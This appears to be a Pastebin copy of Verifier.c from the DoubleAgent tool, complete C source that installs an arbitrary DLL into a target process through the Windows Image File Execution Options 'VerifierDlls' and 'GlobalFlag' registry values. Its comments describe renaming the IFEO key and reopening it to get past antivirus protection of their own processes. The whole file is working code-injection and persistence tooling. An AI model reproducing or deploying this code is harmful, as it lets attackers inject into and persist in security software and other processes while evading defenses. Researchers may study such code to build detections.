Advertisement
FlyFar

DoubleAgent/Verifier.c

Jan 2nd, 2024
1,312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Objective C 18.55 KB | Cybersecurity | 0 0
  1. /* Includes ******************************************************************/
  2. #include <Windows.h>
  3. #include <Shlwapi.h>
  4. #include <crtdbg.h>
  5. #include "Status.h"
  6. #include "OS.h"
  7. #include "Path.h"
  8. #include "Verifier.h"
  9.  
  10. /* Macros ********************************************************************/
  11. #define VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME L"Image File Execution Options"
  12. #define VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP L"3cf9a53d-a1f5-4945-ac5b-5e87bbf46ad2"
  13. #define VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY (L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ## VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME)
  14. #define VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP (L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ## VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP)
  15. #define VERIFIER_SYSWOW64_PATH (L"C:\\Windows\\SysWOW64")
  16. #define VERIFIER_SYSNATIVE_PATH (L"C:\\Windows\\Sysnative")
  17. #define VERIFIER_SYSTEM32_PATH (L"C:\\Windows\\System32")
  18. #define VERIFIER_VERIFIERDLLS_VALUE_NAME (L"VerifierDlls")
  19. #define VERIFIER_GLOBALFLAG_VALUE_NAME (L"GlobalFlag")
  20. #define VERIFIER_FLG_APPLICATION_VERIFIER (0x100)
  21.  
  22. /* Function Declarations *****************************************************/
  23. /*
  24.  * Registers the verifier dll to the process
  25.  */
  26. static DOUBLEAGENT_STATUS verifier_Register(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName);
  27. /*
  28.  * Unregisters the verifier dll from the process
  29.  */
  30. static VOID verifier_Unregister(IN PCWSTR pcwszProcessName);
  31. /*
  32.  * Gets the installation path for the x86 verifier dll
  33.  * The installation path must be freed via HeapFree
  34.  */
  35. static DOUBLEAGENT_STATUS verifier_GetInstallPathX86(IN PCWSTR pcwszVrfDllName, OUT PVOID *ppwszVrfDllInstallPath);
  36. /*
  37.  * Gets the installation path for the x64 verifier dll
  38.  * The installation path must be freed via HeapFree
  39.  */
  40. static DOUBLEAGENT_STATUS verifier_GetInstallPathX64(IN PCWSTR pcwszVrfDllName, OUT PVOID *ppwszVrfDllInstallPath);
  41.  
  42. /* Public Function Definitions ***********************************************/
  43. DOUBLEAGENT_STATUS VERIFIER_Install(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName, IN PCWSTR pcwszVrfDllPathX86, IN PCWSTR pcwszVrfDllPathX64)
  44. {
  45.     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
  46.     OS_ARCHITECTURE eOsArchitecture = OS_ARCHITECTURE_INVALID_VALUE;
  47.     PWSTR pwszVrfDllInstallPathX86 = NULL;
  48.     PWSTR pwszVrfDllInstallPathX64 = NULL;
  49.     BOOL bRegistered = FALSE;
  50.     BOOL bCopiedX86 = FALSE;
  51.     BOOL bCopiedX64 = FALSE;
  52.  
  53.     /* Validates the parameters */
  54.     if ((NULL == pcwszProcessName) || (NULL == pcwszVrfDllName) || (NULL == pcwszVrfDllPathX86) || (NULL == pcwszVrfDllPathX64))
  55.     {
  56.         DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_INSTALL_INVALID_PARAMS);
  57.         goto lbl_cleanup;
  58.     }
  59.  
  60.     /* Gets the operating system architecture */
  61.     eStatus = OS_GetArchitecture(&eOsArchitecture);
  62.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  63.     {
  64.         goto lbl_cleanup;
  65.     }
  66.  
  67.     /* Registers the verifier dll to the process */
  68.     eStatus = verifier_Register(pcwszProcessName, pcwszVrfDllName);
  69.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  70.     {
  71.         goto lbl_cleanup;
  72.     }
  73.     bRegistered = TRUE;
  74.  
  75.     switch (eOsArchitecture)
  76.     {
  77.     case OS_ARCHITECTURE_X64:
  78.         /* Gets the install path for the x64 verifier dll */
  79.         eStatus = verifier_GetInstallPathX64(pcwszVrfDllName, &pwszVrfDllInstallPathX64);
  80.         if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  81.         {
  82.             goto lbl_cleanup;
  83.         }
  84.  
  85.         /* Copies the x64 verifier dll to its installation path */
  86.         if (FALSE == CopyFileW(pcwszVrfDllPathX64, pwszVrfDllInstallPathX64, FALSE))
  87.         {
  88.             DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_INSTALL_COPYFILEW_FAILED_X64);
  89.             goto lbl_cleanup;
  90.         }
  91.         bCopiedX64 = TRUE;
  92.         /* Falls into the x86 case */
  93.     case OS_ARCHITECTURE_X86:
  94.         /* Gets the install path for the x86 verifier dll */
  95.         eStatus = verifier_GetInstallPathX86(pcwszVrfDllName, &pwszVrfDllInstallPathX86);
  96.         if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  97.         {
  98.             goto lbl_cleanup;
  99.         }
  100.  
  101.         /* Copies the x86 verifier dll to its installation path */
  102.         if (FALSE == CopyFileW(pcwszVrfDllPathX86, pwszVrfDllInstallPathX86, FALSE))
  103.         {
  104.             DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_INSTALL_COPYFILEW_FAILED_X86);
  105.             goto lbl_cleanup;
  106.         }
  107.         bCopiedX86 = TRUE;
  108.         break;
  109.     default:
  110.         DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_INSTALL_UNSUPPORTED_SWITCH_CASE);
  111.         goto lbl_cleanup;
  112.     }
  113.  
  114.     /* Succeeded */
  115.     DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
  116.  
  117. lbl_cleanup:
  118.     /* If failed, reverts the changes */
  119.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  120.     {
  121.         if (FALSE != bCopiedX86)
  122.         {
  123.             /* Deletes the x86 verifier dll */
  124.             (VOID)DeleteFileW(pwszVrfDllInstallPathX86);
  125.             bCopiedX86 = FALSE;
  126.         }
  127.  
  128.         if (FALSE != bCopiedX64)
  129.         {
  130.             /* Deletes the x64 verifier dll */
  131.             (VOID)DeleteFileW(pwszVrfDllInstallPathX64);
  132.             bCopiedX64 = FALSE;
  133.         }
  134.  
  135.         /* Unregisters the verifier dll */
  136.         if (FALSE != bRegistered)
  137.         {
  138.             verifier_Unregister(pcwszProcessName);
  139.             bRegistered = FALSE;
  140.         }
  141.     }
  142.  
  143.     /* Frees the x86 install path */
  144.     if (NULL != pwszVrfDllInstallPathX86)
  145.     {
  146.         (VOID)HeapFree(GetProcessHeap(), 0, pwszVrfDllInstallPathX86);
  147.         pwszVrfDllInstallPathX86 = NULL;
  148.     }
  149.  
  150.     /* Frees the x64 install path */
  151.     if (NULL != pwszVrfDllInstallPathX64)
  152.     {
  153.         (VOID)HeapFree(GetProcessHeap(), 0, pwszVrfDllInstallPathX64);
  154.         pwszVrfDllInstallPathX64 = NULL;
  155.     }
  156.  
  157.     /* Returns status */
  158.     return eStatus;
  159. }
  160.  
  161. DOUBLEAGENT_STATUS VERIFIER_Repair(VOID)
  162. {
  163.     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
  164.     HKEY hIfeoKey = NULL;
  165.     LONG lOpenKeyStatus = 0;
  166.  
  167.     /*
  168.      * In some cases (application crash, exception, etc.) the install\uninstall functions may accidentally leave the IFEO key with its temporary name
  169.      * Checks if the temporary name exists
  170.      */
  171.     lOpenKeyStatus = RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_WRITE | KEY_WOW64_64KEY, &hIfeoKey);
  172.     if (ERROR_SUCCESS == lOpenKeyStatus)
  173.     {
  174.         /* Repairs the IFEO key by restoring it to its original name */
  175.         if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME))
  176.         {
  177.             DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REPAIR_REGRENAMEKEY_FAILED);
  178.             goto lbl_cleanup;
  179.         }
  180.     }
  181.     else if (ERROR_FILE_NOT_FOUND == lOpenKeyStatus)
  182.     {
  183.         /* Everything is OK, nothing to repair */
  184.     }
  185.     else
  186.     {
  187.         DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REPAIR_REGOPENKEYEXW_FAILED);
  188.         goto lbl_cleanup;
  189.     }
  190.  
  191.     /* Succeeded */
  192.     DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
  193.  
  194. lbl_cleanup:
  195.     /* Closes the IFEO key */
  196.     if (NULL != hIfeoKey)
  197.     {
  198.         (VOID)RegCloseKey(hIfeoKey);
  199.         hIfeoKey = NULL;
  200.     }
  201.  
  202.     /* Returns status */
  203.     return eStatus;
  204. }
  205.  
  206. VOID VERIFIER_Uninstall(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName)
  207. {
  208.     OS_ARCHITECTURE eOsArchitecture = OS_ARCHITECTURE_INVALID_VALUE;
  209.     PWSTR pwszVrfDllInstallPathX86 = NULL;
  210.     PWSTR pwszVrfDllInstallPathX64 = NULL;
  211.  
  212.     /* Validates the parameters */
  213.     if ((NULL != pcwszProcessName) && (NULL != pcwszVrfDllName))
  214.     {
  215.         /* Gets the operating system architecture */
  216.         if (FALSE != DOUBLEAGENT_SUCCESS(OS_GetArchitecture(&eOsArchitecture)))
  217.         {
  218.             switch (eOsArchitecture)
  219.             {
  220.             case OS_ARCHITECTURE_X64:
  221.                 /* Gets the install path for the x64 verifier dll */
  222.                 if (FALSE != DOUBLEAGENT_SUCCESS(verifier_GetInstallPathX64(pcwszVrfDllName, &pwszVrfDllInstallPathX64)))
  223.                 {
  224.                     /* Deletes the x64 verifier dll */
  225.                     (VOID)DeleteFileW(pwszVrfDllInstallPathX64);
  226.  
  227.                     /* Frees the x64 install path */
  228.                     (VOID)HeapFree(GetProcessHeap(), 0, pwszVrfDllInstallPathX64);
  229.                     pwszVrfDllInstallPathX64 = NULL;
  230.                 }
  231.                 /* Falls into the x86 case */
  232.             case OS_ARCHITECTURE_X86:
  233.                 /* Gets the install path for the x86 verifier dll */
  234.                 if (FALSE != DOUBLEAGENT_SUCCESS(verifier_GetInstallPathX86(pcwszVrfDllName, &pwszVrfDllInstallPathX86)))
  235.                 {
  236.                     /* Deletes the x86 verifier dll */
  237.                     (VOID)DeleteFileW(pwszVrfDllInstallPathX86);
  238.  
  239.                     /* Frees the x86 install path */
  240.                     (VOID)HeapFree(GetProcessHeap(), 0, pwszVrfDllInstallPathX86);
  241.                     pwszVrfDllInstallPathX86 = NULL;
  242.                 }
  243.                 break;
  244.             }
  245.         }
  246.  
  247.         /* Unregisters the verifier dll */
  248.         verifier_Unregister(pcwszProcessName);
  249.     }
  250. }
  251.  
  252. /* Private Function Definitions **********************************************/
  253. static DOUBLEAGENT_STATUS verifier_Register(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName)
  254. {
  255.     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
  256.     HKEY hIfeoKey = NULL;
  257.     HKEY hIfeoKeyTemp = NULL;
  258.     DWORD dwGlobalFlag = VERIFIER_FLG_APPLICATION_VERIFIER;
  259.     DWORD dwVrfDllNameLenInBytes = 0;
  260.     BOOL bKeyRenamed = FALSE;
  261.     BOOL bCreatedVerifierDlls = FALSE;
  262.     BOOL bCreatedVerifierDllsTemp = FALSE;
  263.     BOOL bCreatedGlobalFlag = FALSE;
  264.     BOOL bCreatedGlobalFlagTemp = FALSE;
  265.  
  266.     /* Validates the parameters */
  267.     _ASSERT(NULL != pcwszProcessName);
  268.     _ASSERT(NULL != pcwszVrfDllName);
  269.  
  270.     /* Gets the verifier dll name length in bytes */
  271.     dwVrfDllNameLenInBytes = (DWORD)(wcslen(pcwszVrfDllName) + 1) * sizeof(*pcwszVrfDllName);
  272.  
  273.     /* Opens the IFEO key */
  274.     if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY, 0, KEY_WRITE | KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKey))
  275.     {
  276.         DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_IFEO);
  277.         goto lbl_cleanup;
  278.     }
  279.  
  280.     /* Creates the VerifierDlls value and sets it to the verifier dll name */
  281.     bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));
  282.  
  283.     /*
  284.      * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER
  285.      * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx
  286.      */
  287.     bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));
  288.  
  289.     /*
  290.      * The key creation might fail because some antiviruses protect the keys of their processes under the IFEO
  291.      * One possible bypass is to rename the IFEO key name to a temporary name, create the keys, and restores the IFEO key name
  292.      */
  293.     if ((FALSE == bCreatedVerifierDlls) || (FALSE == bCreatedGlobalFlag))
  294.     {
  295.         /* Renames the IFEO key name to a temporary name */
  296.         if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP))
  297.         {
  298.             DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGRENAMEKEY_FAILED);
  299.             goto lbl_cleanup;
  300.         }
  301.         bKeyRenamed = TRUE;
  302.  
  303.         /*
  304.          * Opens the temporary IFEO key
  305.          * The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO
  306.          */
  307.         if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp))
  308.         {
  309.             DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_TEMP_IFEO);
  310.             goto lbl_cleanup;
  311.         }
  312.  
  313.         if (FALSE == bCreatedVerifierDlls)
  314.         {
  315.             /* Tries again to create the VerifierDlls value */
  316.             if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes))
  317.             {
  318.                 DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_VERIFIERDLLS);
  319.                 goto lbl_cleanup;
  320.             }
  321.             bCreatedVerifierDllsTemp = TRUE;
  322.         }
  323.  
  324.         if (FALSE == bCreatedGlobalFlag)
  325.         {
  326.             /* Tries again to create the GlobalFlag value */
  327.             if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)))
  328.             {
  329.                 DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_GLOBALFLAG);
  330.                 goto lbl_cleanup;
  331.             }
  332.             bCreatedGlobalFlagTemp = TRUE;
  333.         }
  334.     }
  335.  
  336.     /* Succeeded */
  337.     DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
  338.  
  339. lbl_cleanup:
  340.     /* If failed, reverts the changes */
  341.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  342.     {
  343.         /* Deletes the GlobalFlag temp value */
  344.         if (FALSE != bCreatedGlobalFlagTemp)
  345.         {
  346.             (VOID)RegDeleteKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME);
  347.             bCreatedGlobalFlagTemp = FALSE;
  348.         }
  349.  
  350.         /* Deletes the VerifierDlls temp value */
  351.         if (FALSE != bCreatedVerifierDllsTemp)
  352.         {
  353.             (VOID)RegDeleteKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME);
  354.             bCreatedVerifierDllsTemp = FALSE;
  355.         }
  356.  
  357.         /* Deletes the GlobalFlag value */
  358.         if (FALSE != bCreatedGlobalFlag)
  359.         {
  360.             (VOID)RegDeleteKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME);
  361.             bCreatedGlobalFlag = FALSE;
  362.         }
  363.  
  364.         /* Deletes the VerifierDlls value */
  365.         if (FALSE != bCreatedVerifierDlls)
  366.         {
  367.             (VOID)RegDeleteKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME);
  368.             bCreatedVerifierDlls = FALSE;
  369.         }
  370.     }
  371.  
  372.     /* Closes the temporary IFEO key */
  373.     if (NULL != hIfeoKeyTemp)
  374.     {
  375.         (VOID)RegCloseKey(hIfeoKeyTemp);
  376.         hIfeoKeyTemp = NULL;
  377.     }
  378.  
  379.     /* Restores the IFEO key name */
  380.     if (FALSE != bKeyRenamed)
  381.     {
  382.         (VOID)RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME);
  383.         bKeyRenamed = FALSE;
  384.     }
  385.  
  386.     /* Closes the IFEO key */
  387.     if (NULL != hIfeoKey)
  388.     {
  389.         (VOID)RegCloseKey(hIfeoKey);
  390.         hIfeoKey = NULL;
  391.     }
  392.  
  393.     /* Returns status */
  394.     return eStatus;
  395. }
  396.  
  397. static VOID verifier_Unregister(IN PCWSTR pcwszProcessName)
  398. {
  399.     HKEY hIfeoKey = NULL;
  400.     HKEY hIfeoKeyTemp = NULL;
  401.     BOOL bDeletedVerifierDlls = FALSE;
  402.     BOOL bDeletedGlobalFlag = FALSE;
  403.  
  404.     /* Validates the parameters */
  405.     _ASSERT(NULL != pcwszProcessName);
  406.  
  407.     /* Opens the IFEO key */
  408.     if (ERROR_SUCCESS == RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY, 0, KEY_WRITE | KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKey))
  409.     {
  410.         /* Deletes the VerifierDlls value */
  411.         bDeletedVerifierDlls = (ERROR_SUCCESS == RegDeleteKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME));
  412.  
  413.         /* Deletes the GlobalFlag value */
  414.         bDeletedGlobalFlag = (ERROR_SUCCESS == RegDeleteKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME));
  415.  
  416.         /*
  417.          * The key deletion might fail because some antiviruses protect the keys of their processes under the IFEO
  418.          * One possible bypass is to rename the IFEO key name to a temporary name, delete the keys, and restores the IFEO key name
  419.          */
  420.         if ((FALSE == bDeletedVerifierDlls) || (FALSE == bDeletedGlobalFlag))
  421.         {
  422.             /* Renames the IFEO key name to a temporary name */
  423.             if (ERROR_SUCCESS == RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP))
  424.             {
  425.                 /*
  426.                  * Opens the temporary IFEO key
  427.                  * The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO
  428.                  */
  429.                 if (ERROR_SUCCESS == RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp))
  430.                 {
  431.                     /* Tries again to delete the VerifierDlls value */
  432.                     if (FALSE == bDeletedVerifierDlls)
  433.                     {
  434.                         (VOID)RegDeleteKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME);
  435.                         bDeletedVerifierDlls = TRUE;
  436.                     }
  437.  
  438.                     /* Tries again to delete the GlobalFlag value */
  439.                     if (FALSE == bDeletedGlobalFlag)
  440.                     {
  441.                         (VOID)RegDeleteKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME);
  442.                         bDeletedGlobalFlag = TRUE;
  443.                     }
  444.  
  445.                     /* Closes the temporary IFEO key */
  446.                     (VOID)RegCloseKey(hIfeoKeyTemp);
  447.                     hIfeoKeyTemp = NULL;
  448.                 }
  449.  
  450.                 /* Restores the IFEO key name */
  451.                 (VOID)RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME);
  452.             }
  453.         }
  454.  
  455.         /* Closes the IFEO key */
  456.         (VOID)RegCloseKey(hIfeoKey);
  457.         hIfeoKey = NULL;
  458.     }
  459. }
  460.  
  461. static DOUBLEAGENT_STATUS verifier_GetInstallPathX86(IN PCWSTR pcwszVrfDllName, OUT PVOID *ppwszVrfDllInstallPath)
  462. {
  463.     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
  464.     PWSTR pwszVrfDllInstallPathLocal = NULL;
  465.  
  466.     /* Validates the parameters */
  467.     _ASSERT(NULL != pcwszVrfDllName);
  468.     _ASSERT(NULL != ppwszVrfDllInstallPath);
  469.  
  470. #ifndef _WIN64
  471.     /*
  472.      * x86 OS - Path should be System32
  473.      * x64 OS - Path should be SysWOW64 (File system redirection would implicitly convert System32 to SysWOW64)
  474.      */
  475.     eStatus = PATH_Combine(VERIFIER_SYSTEM32_PATH, pcwszVrfDllName, &pwszVrfDllInstallPathLocal);
  476.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  477.     {
  478.         goto lbl_cleanup;
  479.     }
  480. #else
  481.     /*
  482.      * x86 OS - Impossible (Can't run x64 code on x86 OS)
  483.      * x64 OS - Path should be SysWOW64
  484.      */
  485.     eStatus = PATH_Combine(VERIFIER_SYSWOW64_PATH, pcwszVrfDllName, &pwszVrfDllInstallPathLocal);
  486.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  487.     {
  488.         goto lbl_cleanup;
  489.     }
  490. #endif
  491.  
  492.     /* Sets the received parameters */
  493.     *ppwszVrfDllInstallPath = pwszVrfDllInstallPathLocal;
  494.     pwszVrfDllInstallPathLocal = NULL;
  495.  
  496.     /* Succeeded */
  497.     DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
  498.  
  499. lbl_cleanup:
  500.     /* Frees the install path */
  501.     if (NULL != pwszVrfDllInstallPathLocal)
  502.     {
  503.         (VOID)HeapFree(GetProcessHeap(), 0, pwszVrfDllInstallPathLocal);
  504.         pwszVrfDllInstallPathLocal = NULL;
  505.     }
  506.  
  507.     /* Returns status */
  508.     return eStatus;
  509. }
  510.  
  511. static DOUBLEAGENT_STATUS verifier_GetInstallPathX64(IN PCWSTR pcwszVrfDllName, OUT PVOID *ppwszVrfDllInstallPath)
  512. {
  513.     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
  514.     PWSTR pwszVrfDllInstallPathLocal = NULL;
  515.  
  516.     /* Validates the parameters */
  517.     _ASSERT(NULL != pcwszVrfDllName);
  518.     _ASSERT(NULL != ppwszVrfDllInstallPath);
  519.  
  520. #ifndef _WIN64
  521.     /* x64 OS - Path should be System32 (File system redirection would implicitly convert Sysnative to System32) */
  522.     eStatus = PATH_Combine(VERIFIER_SYSNATIVE_PATH, pcwszVrfDllName, &pwszVrfDllInstallPathLocal);
  523.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  524.     {
  525.         goto lbl_cleanup;
  526.     }
  527. #else
  528.     /* x64 OS - Path should be System32 */
  529.     eStatus = PATH_Combine(VERIFIER_SYSTEM32_PATH, pcwszVrfDllName, &pwszVrfDllInstallPathLocal);
  530.     if (FALSE == DOUBLEAGENT_SUCCESS(eStatus))
  531.     {
  532.         goto lbl_cleanup;
  533.     }
  534. #endif
  535.  
  536.     /* Sets the received parameters */
  537.     *ppwszVrfDllInstallPath = pwszVrfDllInstallPathLocal;
  538.     pwszVrfDllInstallPathLocal = NULL;
  539.  
  540.     /* Succeeded */
  541.     DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
  542.  
  543. lbl_cleanup:
  544.     /* Frees the install path */
  545.     if (NULL != pwszVrfDllInstallPathLocal)
  546.     {
  547.         (VOID)HeapFree(GetProcessHeap(), 0, pwszVrfDllInstallPathLocal);
  548.         pwszVrfDllInstallPathLocal = NULL;
  549.     }
  550.  
  551.     /* Returns status */
  552.     return eStatus;
  553. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement